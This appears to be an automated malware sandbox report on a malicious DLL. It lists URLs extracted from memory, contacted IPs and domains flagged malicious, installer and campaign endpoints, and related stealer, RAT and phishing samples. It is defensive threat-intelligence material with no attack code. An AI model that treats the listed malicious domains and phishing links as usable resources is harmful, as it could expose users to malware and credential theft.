https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1425857973.0000026B7825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428442083.0000026B78284000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427443653.0000026B78282000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://embro.info/installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cuseres	rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000000.00000003.1428145464.0000026B7822D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446191210.0000026B7822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html#	rundll32.exe	false	0%, Virustotal, Browse	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html#	rundll32.exe	false	0%, Virustotal, Browse	unknown
https://embro.info/j	rundll32.exe, 00000007.00000002.1508449489.0000000004C80000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.bingmapsportal.com	svchost.exe, 00000000.00000002.1446167098.0000026B78213000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1425857973.0000026B7825A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428145464.0000026B7822D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/a	rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/_	rundll32.exe, 00000007.00000002.1508449489.0000000004CE7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/0-3AEA-1069-A2D8-08002B30309D	rundll32.exe, 00000006.00000003.1531203206.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/X~	rundll32.exe, 00000006.00000003.1382967097.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://curl.se/docs/http-cookies.html	rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C5	rundll32.exe, 0000000F.00000002.1529987679.0000000005305000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529987679.00000000052E5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000000.00000003.1417764385.0000026B78286000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446652719.0000026B78288000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.google.com/update2/response	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp, c23a32abd836342a70b7f6c1aa74947e.2.E.6.dr, c23a32abd836342a70b7f6c1aa74947e.2.6.dr	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000000.00000002.1446453851.0000026B78268000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418388349.0000026B78267000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446191210.0000026B7822B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000000.00000003.1428375584.0000026B78266000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446297264.0000026B7823F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/installer/finishixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cfron	rundll32.exe, 00000006.00000002.1533859291.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t0.ss	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000000.00000003.1426967132.0000026B78249000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446270438.0000026B78235000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 00000000.00000002.1446313458.0000026B78242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418560381.0000026B7825E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	rundll32.exe, 00000006.00000002.1533185168.0000000004DA3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1509281947.0000000005C4C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1530276294.00000000053AE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000027.00000003.1427149075.000001C9C841A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000003.1463086671.0000022638E17000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000003.1463181477.000001A89316C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000003.1463196912.00000265DD0E0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/installer.php	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000000.00000003.1427452911.0000026B78241000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/updateTask/index.php	rundll32.exe, rundll32.exe, 00000027.00000002.1446783379.000001C9C8530000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002D.00000002.1464421881.0000022638F20000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 0000002F.00000002.1464566083.000001A893280000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000030.00000002.1465060549.00000265DD1F0000.00000040.00001000.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error	rundll32.exe	false		high
https://dynamic.t	svchost.exe, 00000000.00000003.1419169080.0000026B7825D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://embro.info/installer/start500	rundll32.exe, 00000006.00000003.1531203206.0000000002E59000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002E99000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.1507666527.0000000002D69000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1506478813.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000003.1528772926.0000000003269000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.1529469355.00000000032A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/-	rundll32.exe, 00000006.00000003.1531585454.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532207523.0000000002E47000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://embro.info/installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=ErR	rundll32.exe, 00000006.00000003.1531203206.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.1532289168.0000000002ECF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html#	rundll32.exe	false		unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000000.00000002.1446349213.0000026B78258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428257488.0000026B78257000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.v	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/installer/finishixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cusere	rundll32.exe, 00000007.00000002.1508638447.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://embro.info/installer/get_timestamp.php./	rundll32.exe, 00000007.00000002.1507561144.0000000002D02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.1507087077.0000000002D01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000000.00000002.1446627199.0000026B78285000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1428442083.0000026B78284000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1427443653.0000026B78282000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000000.00000003.1417727698.0000026B78233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1446424516.0000026B78263000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1418425282.0000026B78262000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.24.192	serragatino.info	United States	13335	CLOUDFLARENETUS	true
172.67.207.72	embro.info	United States	13335	CLOUDFLARENETUS	true
138.199.40.58	4o985rhikfsof.b-cdn.net	European Union	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
168.61.215.74	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430161
Start date and time:	2024-04-23 08:38:55 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	53
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	anuwhqTXGt.dll renamed because original name is a hash value
Original Sample Name:	5321973ACCEA8905112E90EA77809091187252D2126ADB7F056E69A3CD1C83D3
Detection:	MAL
Classification:	mal84.phis.evad.winDLL@83/48@7/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 158 Number of non-executed functions: 221
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe, MoUsoCoreWorker.exe
Excluded IPs from analysis (whitelisted): 142.250.80.99, 142.251.40.227, 172.253.115.84, 142.251.41.10, 142.251.32.106, 142.250.65.170, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.250.64.74, 142.250.72.106, 142.250.80.42, 142.250.80.74, 172.217.165.138, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.250.80.106, 142.251.35.170, 142.250.72.99, 142.250.80.78
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.24.192	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse	serragatino.info/preinstaller/index.php?evt=start_install&v=1.8.627.3&ts=1691006336&mid=ea4a4bd67d6c4b4911a7e54937d2b100&payload=
104.21.24.192	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse	serragatino.info/preinstaller/index.php?evt=start_download&v=1.8.627.3&ts=1690973829&mid=f7bb2a6f27fc0a3c786b5bbac69296c1&payload=
172.67.207.72	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse
172.67.207.72	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse
138.199.40.58	http://0365-encrypyted.b-cdn.net#dGh1bnRAbW9vZy5jb20=	Get hash	malicious	HTMLPhisher	Browse	0365-encrypyted.b-cdn.net/
168.61.215.74	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen17.35688.9477.7627.exe	Get hash	malicious	Poisonivy	Browse
	file.exe	Get hash	malicious	HTMLPhisher, Petite Virus	Browse
	loader.exe	Get hash	malicious	Unknown	Browse
	IgXfbk2kj6.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, zgRAT	Browse
	gDQxSlFT7e.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse
	r67iDejfDO.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse
	N04MI8kf8z.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	uuX52kMNkj.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serragatino.info	http://serragatino.info/preinstaller/index.php?evt=end_download&v=1.8.634.3&ts=1691433792&mid=848dd5b2283f72a0124d6b5e6a37a931&payload=a%3D6LQ6WV0WRX%26cid%3Dclickid%26u%3D50d23e45-ab66-453b-b7fa-ee1c71f92cea	Get hash	malicious	Unknown	Browse	172.67.220.29
	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse	172.67.220.29
	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse	172.67.220.29
4o985rhikfsof.b-cdn.net	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse	89.187.165.194
4o985rhikfsof.b-cdn.net	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse	89.187.165.194
embro.info	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse	172.67.207.72
embro.info	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse	172.67.207.72
guayaco.info	QoE81ExCsv.exe	Get hash	malicious	Unknown	Browse	188.114.97.7
guayaco.info	Vk4Ddt2Qew.exe	Get hash	malicious	Unknown	Browse	188.114.97.7
www.google.com	http://sdigg.sync.oystergardens.club	Get hash	malicious	Unknown	Browse	142.251.35.164
	https://caringhearts.foundation/wp-includes/widgets/ogk25/ogk/index.php&c=E,1,PBioTuoqxXxVmzOkxu8MYhWQ9ZbRNVLGpsstSuC0GQ2jNcQlIpYbU0K6d3lwsaeoT17vAF7VpKXs0qg9O-hGnfKxM3skSa-Jn2VJH7kX1A,,&typo=1	Get hash	malicious	Unknown	Browse	142.251.32.100
	https://universewild.org	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	142.250.9.103
	https://url.avanan.click/v2/___https:/novafr-my.sharepoint.com/:b:/g/personal/mfranco_nova-fr_org/EZPaIwPkDApNno6rWIAO20YB4ByiRCAe_VGScx-2iiONBw?e=magUuY/___.YXAzOmVuLW1kYTphOm86ZDA4MDI5MGVhZTA1MzJiMWZlYTg0YjE1OWE2NmVhNjc6NjplYTNkOjc2NzNkYWE0NTMzNWVhMjkxM2VjMGU1NGMyNDY3ZjVhNmJhNjU0MTk1ZmRjMzUzM2QxODAyNDVjY2E1Y2M1ODY6aDpU	Get hash	malicious	HTMLPhisher	Browse	142.250.105.103
	http://vgjlx.app.link/e/0ZWlI0Ci1Ib	Get hash	malicious	Unknown	Browse	64.233.185.103
	seckey-x64-sha256.exe	Get hash	malicious	Drill Ransomware	Browse	142.250.9.99
	seckey-x64-sha256.exe	Get hash	malicious	Drill Ransomware	Browse	173.194.219.106
	http://myidealwedding.com.au	Get hash	malicious	BitRAT, HTMLPhisher	Browse	74.125.136.106
	https://ecreativevision.com/ops/	Get hash	malicious	Unknown	Browse	142.250.9.147

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Gam.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	https://url.avanan.click/v2/___https:/novafr-my.sharepoint.com/:b:/g/personal/mfranco_nova-fr_org/EZPaIwPkDApNno6rWIAO20YB4ByiRCAe_VGScx-2iiONBw?e=magUuY/___.YXAzOmVuLW1kYTphOm86ZDA4MDI5MGVhZTA1MzJiMWZlYTg0YjE1OWE2NmVhNjc6NjplYTNkOjc2NzNkYWE0NTMzNWVhMjkxM2VjMGU1NGMyNDY3ZjVhNmJhNjU0MTk1ZmRjMzUzM2QxODAyNDVjY2E1Y2M1ODY6aDpU	Get hash	malicious	HTMLPhisher	Browse	13.107.136.10
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	8OeyVwIM3t.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	f6pwu0HWXe.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	V9TdcUeNlV.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	JARlqZLmeA.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
	YQnYpHhUfM.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	20.157.87.45
CLOUDFLARENETUS	ShadowFury.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	Urgent PO 18-3081 Confirmation.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Gam.xls	Get hash	malicious	Unknown	Browse	172.67.180.182
	Quotation.xls	Get hash	malicious	Remcos	Browse	172.67.206.230
	Invoice.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	171385176494b902dcff1b37e29676f3c17c0cb0090fe4b0a33f3f6a97431f2344b56a8ec2497.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Gam.xls	Get hash	malicious	Unknown	Browse	172.67.180.182
	PO No. 2430800015.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Texas_Tool_Purchase_Order#T18834-1.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
CLOUDFLARENETUS	ShadowFury.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	Urgent PO 18-3081 Confirmation.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Gam.xls	Get hash	malicious	Unknown	Browse	172.67.180.182
	Quotation.xls	Get hash	malicious	Remcos	Browse	172.67.206.230
	Invoice.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	171385176494b902dcff1b37e29676f3c17c0cb0090fe4b0a33f3f6a97431f2344b56a8ec2497.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Gam.xls	Get hash	malicious	Unknown	Browse	172.67.180.182
	PO No. 2430800015.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Texas_Tool_Purchase_Order#T18834-1.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	YKLjlQEZKY.elf	Get hash	malicious	Mirai	Browse	57.93.188.66
	CEPceaWQyI.elf	Get hash	malicious	Unknown	Browse	57.109.53.23
	wsskM49eA3.elf	Get hash	malicious	Unknown	Browse	57.109.192.81
	aQvU3QHA3N.elf	Get hash	malicious	Unknown	Browse	57.97.110.222
	cfGjk0Keob.elf	Get hash	malicious	Mirai	Browse	200.240.115.15
	w2wnAQTd6O.elf	Get hash	malicious	Unknown	Browse	57.75.232.144
	czEunnbk7b.elf	Get hash	malicious	Mirai	Browse	57.64.136.165
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	57.119.174.252
	Vedtb2CYvY.elf	Get hash	malicious	Mirai	Browse	57.107.140.34

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	PO 26519PZ F30 59.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.207.72
